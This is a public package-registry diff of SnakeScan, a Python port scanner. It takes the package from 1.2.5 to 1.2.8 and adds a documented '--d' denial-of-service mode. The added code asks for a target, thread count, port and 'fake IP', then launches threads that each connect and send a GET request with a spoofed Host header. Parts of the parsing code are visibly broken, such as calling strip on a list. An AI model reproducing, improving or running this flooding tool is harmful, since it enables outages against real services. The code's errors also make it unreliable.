SnakeScan 1.2.5__tar.gz → 1.2.8__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: SnakeScan
|
|
3
|
-
Version: 1.2.
|
|
3
|
+
Version: 1.2.8
|
|
4
4
|
Summary: Module SnakeScan
|
|
5
5
|
Author: Den*Ram
|
|
6
6
|
Description-Content-Type: text/markdown
|
|
@@ -27,6 +27,8 @@ requires-python=>3.9
|
|
|
27
27
|
added new check all port search:
|
|
28
28
|
[$]Port--> --a
|
|
29
29
|
added new check all port using thread:
|
|
30
|
-
[$]Port--> --t
|
|
30
|
+
[$]Port--> --t
|
|
31
|
+
added new dos attack:
|
|
32
|
+
[$]Host-->https://example.com --d
|
|
31
33
|
|
|
32
34
|
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
"""Module SnakeScan"""
|
|
2
|
-
__version__="1.2.
|
|
2
|
+
__version__="1.2.8"
|
|
3
3
|
import socket
|
|
4
4
|
from art import tprint
|
|
5
5
|
from datetime import datetime
|
|
@@ -10,6 +10,9 @@ portsopen=0
|
|
|
10
10
|
portsclosed=0
|
|
11
11
|
Run_now=True
|
|
12
12
|
Bool=True
|
|
13
|
+
boolsd=True
|
|
14
|
+
global num
|
|
15
|
+
num=0
|
|
13
16
|
boolean=0
|
|
14
17
|
OpenPorts=[]
|
|
15
18
|
ports = {
|
|
@@ -34,6 +37,19 @@ def is_port_open(host,port):
|
|
|
34
37
|
else:
|
|
35
38
|
s.close()
|
|
36
39
|
return True
|
|
40
|
+
def dos_threads(host,port,fake_ip):
|
|
41
|
+
host=host.strip("--d")
|
|
42
|
+
host=host.strip()
|
|
43
|
+
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
44
|
+
try:
|
|
45
|
+
s.connect((host,port))
|
|
46
|
+
s.sendto(("GET /"+host+"HTTP/1.1\r\n").encode("ascii"),(host,port))
|
|
47
|
+
s.sendto(("Host: "+fake_ip+"\r\n\r\n").encode("ascii"),(host,port))
|
|
48
|
+
s.close()
|
|
49
|
+
return True
|
|
50
|
+
except:
|
|
51
|
+
s.close()
|
|
52
|
+
return False
|
|
37
53
|
def is_port_open_threads(host,port):
|
|
38
54
|
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
39
55
|
try:
|
|
@@ -46,17 +62,79 @@ def is_port_open_threads(host,port):
|
|
|
46
62
|
print(f"Closed{colored('|X|','red')}-->{ports[all]}|{all}|")
|
|
47
63
|
except:
|
|
48
64
|
print(f"Closed{colored('|X|','red')}-->|{all}|")
|
|
65
|
+
finally:
|
|
66
|
+
s.close()
|
|
49
67
|
else:
|
|
50
|
-
s.close()
|
|
51
68
|
print(f"Open{colored('|√|','green')}-->{ports[all]}|{all}|")
|
|
52
|
-
|
|
53
69
|
print("–"*60)
|
|
54
70
|
tprint("SnakeScan")
|
|
55
71
|
print("–"*60)
|
|
56
|
-
print(f"{__version__}".rjust(60))
|
|
72
|
+
print(f"Release:{__version__}".rjust(60))
|
|
57
73
|
print(f"Skip{colored('|*|','blue')}Error: {colored('Host','green')}{colored('[X]:Error','red')} {colored('|$|','green')} {colored('Port','green')}{colored('[X]:Error','red')}")
|
|
58
74
|
while Run_now:
|
|
59
75
|
host=input(f"{colored('[$]','green')}Host-->")
|
|
76
|
+
if "http://" in host and "--d" in host:
|
|
77
|
+
host=host.strip().strip("--d")
|
|
78
|
+
host=host.split("http:")
|
|
79
|
+
host=host.strip("//")
|
|
80
|
+
host=host+""+"--d"
|
|
81
|
+
for i in range(len(host)):
|
|
82
|
+
if host[i] == "/":
|
|
83
|
+
host=host[0:i]
|
|
84
|
+
if "https://" in host and "--d" in host:
|
|
85
|
+
host=host.strip().strip("--d")
|
|
86
|
+
host=host.strip("https:")
|
|
87
|
+
host=host.strip("//")
|
|
88
|
+
host=host+""+"--d"
|
|
89
|
+
for i in range(len(host)):
|
|
90
|
+
if host[i] == "/":
|
|
91
|
+
host=host[0:i]
|
|
92
|
+
if "--d" in host:
|
|
93
|
+
try:
|
|
94
|
+
host=host.strip("--d")
|
|
95
|
+
host=host.strip()
|
|
96
|
+
host=socket.gethostbyname(host)
|
|
97
|
+
host=host+""+"--d"
|
|
98
|
+
except:
|
|
99
|
+
print(f"{host} is not avaible")
|
|
100
|
+
continue
|
|
101
|
+
if "--d" in host:
|
|
102
|
+
try:
|
|
103
|
+
threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
|
|
104
|
+
dos_port=int(input(f"{colored('[$]','green')}Port-->"))
|
|
105
|
+
fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
|
|
106
|
+
except:
|
|
107
|
+
while True:
|
|
108
|
+
print(f"{colored('|Threads|Port|','green')}{colored('[X]:Invalid value','red')}")
|
|
109
|
+
|
|
110
|
+
try:
|
|
111
|
+
threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
|
|
112
|
+
dos_port=int(input(f"{colored('[$]','green')}Port-->"))
|
|
113
|
+
fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
|
|
114
|
+
|
|
115
|
+
except Exception as error:
|
|
116
|
+
print(f"Error:{error}")
|
|
117
|
+
continue
|
|
118
|
+
if threadsnum:
|
|
119
|
+
break
|
|
120
|
+
for dos in range(0,threadsnum):
|
|
121
|
+
num+=1
|
|
122
|
+
t=Thread(target=dos_threads,kwargs={"host":host,"port":dos_port,"fake_ip":fake_ip})
|
|
123
|
+
t.start()
|
|
124
|
+
t.join()
|
|
125
|
+
if dos_threads(host,dos_port,fake_ip):
|
|
126
|
+
print("Dos-Information".center(60,"-"))
|
|
127
|
+
print(f"{colored('[$]','green')}Threads--> {num} GET/HTTP/1.1")
|
|
128
|
+
|
|
129
|
+
else:
|
|
130
|
+
try:
|
|
131
|
+
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
132
|
+
host=host.strip("--d")
|
|
133
|
+
host=socket.gethostbyname(host)
|
|
134
|
+
s.connect((host,dos_port))
|
|
135
|
+
except Exception as error:
|
|
136
|
+
print(f"Error:{error}")
|
|
137
|
+
continue
|
|
60
138
|
if host == "Exit" or host == "exit":
|
|
61
139
|
break
|
|
62
140
|
if host == "":
|
|
File without changes
|
|
File without changes
|